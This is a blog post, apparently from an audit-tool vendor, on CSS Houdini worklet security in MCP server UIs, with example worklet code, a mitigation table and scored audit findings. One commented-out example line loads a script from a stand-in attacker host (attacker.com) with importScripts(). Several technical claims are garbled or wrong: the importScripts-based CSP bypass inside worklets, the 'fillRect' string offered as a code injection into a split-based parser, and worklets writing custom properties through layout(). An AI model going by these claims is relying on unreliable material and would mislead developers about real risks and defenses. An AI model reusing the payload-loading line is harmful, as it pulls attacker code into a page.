Blog · MCP Server Security
MCP server CSS Houdini security — Paint Worklet injection, cross-worklet isolation, Houdini property registration, and Layout Worklet attack surface
CSS Houdini exposes a low-level rendering API — Paint, Layout, and Animation Worklets — that allows MCP UIs to render custom visualizations of tool output. Worklets run in separate global scopes with no DOM access and no network APIs, which provides a degree of isolation. But Worklets receive their input via CSS custom properties, and those custom properties can be set from MCP tool output. Injecting malicious values into registered custom properties reaches Worklet code as string arguments to paint() or layout(). The limited global scope does not prevent importScripts()-based CSP bypass.
How CSS custom properties pipe MCP tool output into Worklets
A CSS Houdini Paint Worklet renders using a custom CSS property as input. The page registers the property with CSS.registerProperty(), sets it on a DOM element via JavaScript, and the Worklet's paint() method receives the value via properties.get('--tool-output'). In an MCP UI that renders tool results as visual components, tool output frequently ends up as the value of a custom property that feeds a Worklet:
// Page registers the Houdini property
CSS.registerProperty({
name: '--tool-result-value',
syntax: '<number>', // type validation: only numbers accepted
inherits: false,
initialValue: '0'
});
// Dangerous: tool result string set directly as a custom property without type registration
// (only registerProperty with strict syntax prevents string injection)
element.style.setProperty('--tool-result-raw', toolResult.value);
// If '--tool-result-raw' is not registered with a strict syntax,
// any string value is accepted — including CSS injection payloads
The key security distinction: properties registered with CSS.registerProperty() and a strict syntax (e.g., '<number>', '<color>', '<length>') are type-validated by the browser before being passed to the Worklet. Properties registered with syntax: '*' (universal syntax) or unregistered properties accept any string value.
Paint Worklet injection via unregistered custom properties
When a Worklet reads an unregistered custom property, it receives the raw CSS string value including any whitespace, special characters, and CSS syntax. A malicious MCP tool result that contains CSS syntax characters can trigger unexpected behavior in the Worklet's string parsing logic:
// Paint Worklet — receives unregistered custom property as string
registerPaint('tool-chart', class {
static get inputProperties() {
return ['--tool-data']; // not registered with registerProperty() — accepts any string
}
paint(ctx, size, properties) {
const raw = properties.get('--tool-data').toString();
// Dangerous: parsing the raw string with a custom parser
const values = raw.split(',').map(Number);
// If toolResult contains "1,2,3);ctx.fillRect(0,0,999,999);//"
// the split produces valid-looking numbers up to the injection point
values.forEach((v, i) => ctx.fillRect(i * 10, size.height - v, 8, v));
}
});
Defense: Register all Houdini custom properties used with Worklets using CSS.registerProperty() with the most restrictive syntax that fits the data type. Use '<number>', '<integer>', or '<color>' rather than '*'. Validate the value in the Worklet before using it, even after type registration — the type system validates syntax, not semantic range.
importScripts() CSP bypass in Houdini Worklets
Like classic Web Workers, Houdini Paint and Layout Worklets support importScripts() to load additional scripts. Worklets run in a separate global scope, and the CSP enforcement model for Worklets follows the Worker model: the Worklet script itself is subject to the page's worker-src directive, but scripts loaded by importScripts() inside the Worklet are subject to the Worklet's own origin's response headers rather than the page's script-src.
// Dangerous: Worklet loads external script — bypasses page CSP
// page CSP: "script-src 'self'"
// Worklet is served from same origin — permitted
// But importScripts inside the worklet is a separate fetch
registerPaint('tool-renderer', class {
constructor() {
// This would load an external script regardless of page CSP
// if the Worklet's own response headers don't restrict it
// importScripts('https://attacker.com/payload.js');
}
paint(ctx, size, properties) { /* ... */ }
});
// Safe: no importScripts() in Worklets — inline all logic in the Worklet file
// or use CSS.paintWorklet.addModule() with a script-src nonce
Cross-worklet isolation
Multiple Houdini Worklets registered on the same page do not share a global scope — each CSS.paintWorklet.addModule() call creates a fresh global. This means a compromised Worklet cannot directly read another Worklet's variables. However, all Worklets on the page share the same CSS custom property namespace. A Worklet that writes to a CSS custom property (via the element reference in layout()) can influence values read by another Worklet for the same element.
Animation Worklet timing side channels
CSS Animation Worklets have access to a high-resolution document timeline via the currentTime parameter in the animate() method. While Worklets do not have access to performance.now(), the animation timeline provides sub-millisecond timing. An MCP UI that exposes user interactions as Animation Worklet inputs — e.g., scroll position driving a tool result animation — creates a side channel where the animation's output encodes user behavior that a compromised Worklet could exfiltrate if it had any write-back mechanism to the page (it does not in the current spec, but this should be considered in future API surface reviews).
Security comparison: Houdini Worklet patterns for MCP UIs
| Pattern | Security risk | Mitigation |
|---|---|---|
| Unregistered CSS custom property as Worklet input | Any string value accepted — injection via tool output reaches Worklet paint logic | Register all properties with CSS.registerProperty() using strict syntax type |
| Worklet string parsing without validation | Crafted tool result with special characters triggers unexpected Worklet behavior | Validate and clamp all values in Worklet paint() before rendering |
importScripts() in Paint/Layout Worklet |
Loads external scripts — may bypass page's script-src CSP |
No importScripts() in Worklets; inline all logic in the Worklet module |
syntax: '*' in CSS.registerProperty() |
Universal syntax accepts any value including CSS injection payloads | Use most restrictive syntax: '<number>', '<integer>', '<color>' |
| Tool result set as custom property without sanitization | Raw tool output string propagated into CSS cascade as custom property value | Sanitize tool output before setting as custom property; strip CSS syntax characters |
SkillAudit findings
CSS.registerProperty() with a restrictive syntax. Crafted tool result string reaches Worklet paint() or layout() as an unvalidated string argument. −18 pts
importScripts() call. External script load may bypass page-level script-src Content Security Policy. −16 pts
syntax: '*' used as Worklet input. Universal syntax accepts any value; type validation provides no protection against injection. −10 pts
paint() method parses the input property string with a custom string parser (split, regex) without sanitizing CSS syntax characters or clamping numeric ranges. −8 pts
See also: MCP server MutationObserver security (DOM exfiltration from tool output) · MCP server Worker Thread message security (Worklet isolation model parallels Worker model)